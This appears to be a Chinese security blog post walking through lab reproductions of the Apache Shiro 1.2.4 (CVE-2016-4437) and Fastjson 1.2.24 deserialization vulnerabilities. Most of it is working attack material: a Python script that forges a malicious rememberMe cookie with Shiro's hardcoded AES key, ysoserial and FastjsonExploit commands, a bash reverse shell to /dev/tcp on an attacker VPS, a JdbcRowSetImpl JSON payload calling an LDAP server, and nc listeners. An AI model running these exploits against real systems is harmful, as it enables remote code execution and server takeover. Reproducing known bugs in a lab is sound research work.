0x00 前言

上次在做众测项目的时候遇到了一个weblogic的站,但是由于没有对漏洞进行一个很好的分析和整理导致在实际情况下遇到了一脸懵逼到最后浪费了非常多的时间,所以就打算也来帮忙写一个组件的漏洞

0x01漏洞复现

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

介绍

Shiro是Java的一个安全框架,执行身份校验,授权密码管理等

漏洞成因

由于shiro对于Cookie中的rememberMe参数进行了AES加密,但是密钥在代码中进行了硬编码,导致可以利用密钥进行解码人为构造实现任意命令执行

漏洞影响版本

Apache shiro <= 1.2.4

漏洞环境

复现环境:

(测试发现vulhub上的shiro环境无法复现,有可能是自己比较

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 8081:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

攻击环境:

一台公网vps

ysoserial:https://github.com/frohoff/ysoserial

Jdk 1.8+

漏洞复现

访问 http://192.168.1.4:8081

image-20200625192832506

勾选remember_me,抓包,当返回包邮rememberMe=deleteMe的时候说明可以利用

image-20200625192913402

这里我们的目标是要反弹shell,由于该反序列化可以任意代码执行所以我们在目标机上写入反弹shell命令,弹到我们的公网服务器上

http://www.jackson-t.ca/runtime-exec-payloads.html

image-20200625193137990

转换成bash,利用ysoserial在公网vps上启动一个服务,端口为1099

ysoserial是一个反序列化payload的集成包

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 '转化之后的反弹shell语句'

接着利用exp.py 生成我们cookie中的remember me

python 2.x 版本

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

image-20200625193537661

后面跟着我们公网vps和之前的端口

将生成的rememberMe添加到cookie中

然后再在vps上nc进行监听 nc -lvvp 8888

添加到cookie

image-20200625193632971

image-20200625193700673

成功反弹shell

Poc编写

fastjson 1.2.24 反序列化导致任意命令执行漏洞

介绍

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

项目链接https://github.com/alibaba/fastjson/

漏洞成因

Fastjson组件在反序列化不可信数据时会导致远程代码执行

漏洞影响版本

Fastjson <= 1.2.24

漏洞环境

vulhub

复现过程中根据vulhub上的readme文档已经进行了成功复现,所以这里用的方法是github上FastjsonExploit的代码,这个更加通用一些

https://github.com/c0ny1/FastjsonExploit

准备一台海外vps(国内vps不知道为什么搭建不起来 )

jdk 1.8+

漏洞复现

ps:实现关闭防火墙规则,因为这个卡了半天

systemctl stop firewalld.service

docker开启我们的环境

http://192.168.1.14:8090

将我们的服务运行起来

java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl5 ldap://本vps:1233/Exploit "cmd:bash -i >& /dev/tcp/新vps/8888 0>&1"

image-20200627152224329

将我们的服务运行起来

在另一台主机上nc -lvvp 8888进行一个监听

ps:这里生成的payload有可能会有点问题

所以最好自己稍微改一下

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://156.xxx.xxx.32:1233/Exploit","autoCommit":true}}

image-20200627152907581

接受到信息

image-20200627152428785

成功弹到了shell

image-20200627152513822

Poc编写

发表评论

电子邮件地址不会被公开。 必填项已用*标注